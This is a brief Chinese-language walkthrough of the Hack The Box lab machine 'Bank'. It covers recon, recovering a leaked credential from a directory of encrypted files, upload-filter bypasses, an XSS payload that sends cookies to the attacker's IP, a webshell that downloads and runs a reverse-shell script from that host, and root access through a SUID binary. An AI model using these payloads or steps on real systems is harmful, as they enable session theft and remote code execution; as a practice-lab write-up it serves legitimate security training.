- URL : https://app.hackthebox.eu/machines/26
- IP : 10.129.29.200
Recon
- Rustscan
- Nmap
- 通靈加 Host
- 加
/etc/hosts
- 加 Host 載下來看
- 掃目錄
嘗試傳 Webshell
取得密碼
- 通靈掃到
/balance-transfer
- 發現裡面的資訊都有過加密
- 複製出來觀察 size
a = a.replace("[ ] ","")
a = a.split("\n")
l = []
for i in a:
i = i.split(" ")
l.append(int(i[1]))
l.sort()
print(l)
- 發現有一個檔案大小只有257
- 觀察檔案內容

- 取得帳密
chris@bank.htb
!##HTBB4nkP4ssw0rd!##
- 順利登入
- 又回到
support.php
- 測各種副檔名繞過

s.php%00.jpg
s.php\x00.jpg
- 都失敗
- 測 XSS
<script>new Image().src="http://10.10.16.35:1234/"+document.cookie</script>

- 成功
- 檢查註解
- 成功上傳 Webshell
執行 Reverse shell
bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTB
http://bank.htb/uploads/s.htb?A=bash%20s_HTB

- spawn
python -c 'import pty; pty.spawn("/bin/bash")'
提權
- Kernel Version
- 有奇怪的 SUID 程式
- 直接執行

- 就 Root shell ㄌ
- 取得 Flag
嘗試不登入傳 shell
- 先隨便傳
- Burp 改副檔名
.htb
- 上傳成功

- 所以取得密碼的那一段根本不用做就可以結束ㄌ= =
學到了